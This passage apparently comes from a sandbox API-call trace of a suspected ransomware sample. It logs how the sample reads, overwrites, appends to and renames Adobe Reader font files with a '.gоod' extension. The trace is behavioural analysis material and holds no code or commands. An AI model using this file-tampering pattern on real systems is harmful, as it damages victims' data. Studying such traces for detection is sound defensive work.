DC\\Resource\\Font\\CourierStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0096.626] GetFileType (hFile=0x7c4) returned 0x1 [0096.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0096.627] GetFileType (hFile=0x7c4) returned 0x1 [0096.627] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x93e4 [0096.627] WriteFile (in: hFile=0x7c4, lpBuffer=0x3649a58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x3649a58*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0096.627] CloseHandle (hObject=0x7c4) returned 1 [0096.628] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf", lpFilePart=0x0) returned 0x4b [0096.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0096.628] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0096.628] GetFileType (hFile=0x7c4) returned 0x1 [0096.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0096.628] GetFileType (hFile=0x7c4) returned 0x1 [0096.628] ReadFile (in: hFile=0x7c4, lpBuffer=0x364bdf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x364bdf0*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0096.660] CloseHandle (hObject=0x7c4) returned 1 [0096.660] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf", lpFilePart=0x0) returned 0x4b [0096.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0096.660] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0096.660] GetFileType (hFile=0x7c4) returned 0x1 [0096.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0096.660] GetFileType (hFile=0x7c4) returned 0x1 [0096.661] WriteFile (in: hFile=0x7c4, lpBuffer=0x364ab40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x364ab40*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0096.661] CloseHandle (hObject=0x7c4) returned 1 [0096.661] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf", lpFilePart=0x0) returned 0x4b [0096.661] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf.gоod", lpFilePart=0x0) returned 0x50 [0096.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0096.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd.otf"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x35d2bddf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x93f4)) returned 1 [0096.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0096.661] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd.otf.gоod")) returned 1 [0097.076] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf", lpFilePart=0x0) returned 0x4f [0097.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0097.077] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-bold.otf"), fInfoLevelId=0x0, lpFileInformation=0x3943db8 | out: lpFileInformation=0x3943db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361897f7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x35404)) returned 1 [0097.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0097.078] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf", lpFilePart=0x0) returned 0x4f [0097.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0097.078] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0097.078] GetFileType (hFile=0x7c4) returned 0x1 [0097.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0097.078] GetFileType (hFile=0x7c4) returned 0x1 [0097.078] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0097.078] ReadFile (in: hFile=0x7c4, lpBuffer=0x3944200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x3944200*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0097.080] CloseHandle (hObject=0x7c4) returned 1 [0097.080] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf", lpFilePart=0x0) returned 0x4f [0097.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0097.081] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0097.081] GetFileType (hFile=0x7c4) returned 0x1 [0097.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0097.081] GetFileType (hFile=0x7c4) returned 0x1 [0097.081] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x35404 [0097.081] WriteFile (in: hFile=0x7c4, lpBuffer=0x39454b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x39454b0*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0097.082] CloseHandle (hObject=0x7c4) returned 1 [0097.083] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf", lpFilePart=0x0) returned 0x4f [0097.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0097.083] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0097.083] GetFileType (hFile=0x7c4) returned 0x1 [0097.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0097.083] GetFileType (hFile=0x7c4) returned 0x1 [0097.083] ReadFile (in: hFile=0x7c4, lpBuffer=0x3947788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x3947788*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0098.014] CloseHandle (hObject=0x7c4) returned 1 [0098.014] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf", lpFilePart=0x0) returned 0x4f [0098.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0098.014] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0098.014] GetFileType (hFile=0x7c4) returned 0x1 [0098.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0098.014] GetFileType (hFile=0x7c4) returned 0x1 [0098.014] WriteFile (in: hFile=0x7c4, lpBuffer=0x3240fd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x3240fd0*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0098.014] CloseHandle (hObject=0x7c4) returned 1 [0098.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf", lpFilePart=0x0) returned 0x4f [0098.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf.gоod", lpFilePart=0x0) returned 0x54 [0098.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0098.015] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-bold.otf"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361897f7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36a22d0a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x35414)) returned 1 [0098.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0098.015] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Bold.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-bold.otf.gоod")) returned 1 [0098.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf", lpFilePart=0x0) returned 0x51 [0098.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0098.016] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-boldit.otf"), fInfoLevelId=0x0, lpFileInformation=0x342f3f8 | out: lpFileInformation=0x342f3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361897f7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3f39c)) returned 1 [0098.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0098.016] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf", lpFilePart=0x0) returned 0x51 [0098.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0098.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-boldit.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0098.016] GetFileType (hFile=0x7c4) returned 0x1 [0098.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0098.016] GetFileType (hFile=0x7c4) returned 0x1 [0098.016] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0098.016] ReadFile (in: hFile=0x7c4, lpBuffer=0x342f860, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x342f860*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0098.018] CloseHandle (hObject=0x7c4) returned 1 [0098.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf", lpFilePart=0x0) returned 0x51 [0098.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0098.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-boldit.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0098.018] GetFileType (hFile=0x7c4) returned 0x1 [0098.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0098.018] GetFileType (hFile=0x7c4) returned 0x1 [0098.018] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x3f39c [0098.018] WriteFile (in: hFile=0x7c4, lpBuffer=0x3430c90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x3430c90*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0098.019] CloseHandle (hObject=0x7c4) returned 1 [0098.019] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf", lpFilePart=0x0) returned 0x51 [0098.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0098.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-boldit.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0098.019] GetFileType (hFile=0x7c4) returned 0x1 [0098.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0098.020] GetFileType (hFile=0x7c4) returned 0x1 [0098.020] ReadFile (in: hFile=0x7c4, lpBuffer=0x3432f78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x3432f78*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0098.116] CloseHandle (hObject=0x7c4) returned 1 [0098.116] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf", lpFilePart=0x0) returned 0x51 [0098.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0098.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-boldit.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0098.116] GetFileType (hFile=0x7c4) returned 0x1 [0098.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0098.116] GetFileType (hFile=0x7c4) returned 0x1 [0098.116] WriteFile (in: hFile=0x7c4, lpBuffer=0x328f398*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x328f398*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0098.116] CloseHandle (hObject=0x7c4) returned 1 [0098.117] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf", lpFilePart=0x0) returned 0x51 [0098.117] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf.gоod", lpFilePart=0x0) returned 0x56 [0098.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0098.117] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-boldit.otf"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361897f7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36b2dd3d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f3ac)) returned 1 [0098.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0098.117] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-boldit.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-BoldIt.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-boldit.otf.gоod")) returned 1 [0098.117] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf", lpFilePart=0x0) returned 0x4d [0098.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0098.118] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-it.otf"), fInfoLevelId=0x0, lpFileInformation=0x32d5940 | out: lpFileInformation=0x32d5940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3f764)) returned 1 [0098.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0098.118] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf", lpFilePart=0x0) returned 0x4d [0098.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0098.118] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-it.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0098.118] GetFileType (hFile=0x7c4) returned 0x1 [0098.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0098.118] GetFileType (hFile=0x7c4) returned 0x1 [0098.118] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0098.118] ReadFile (in: hFile=0x7c4, lpBuffer=0x32d5d88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x32d5d88*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0098.241] CloseHandle (hObject=0x7c4) returned 1 [0098.241] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf", lpFilePart=0x0) returned 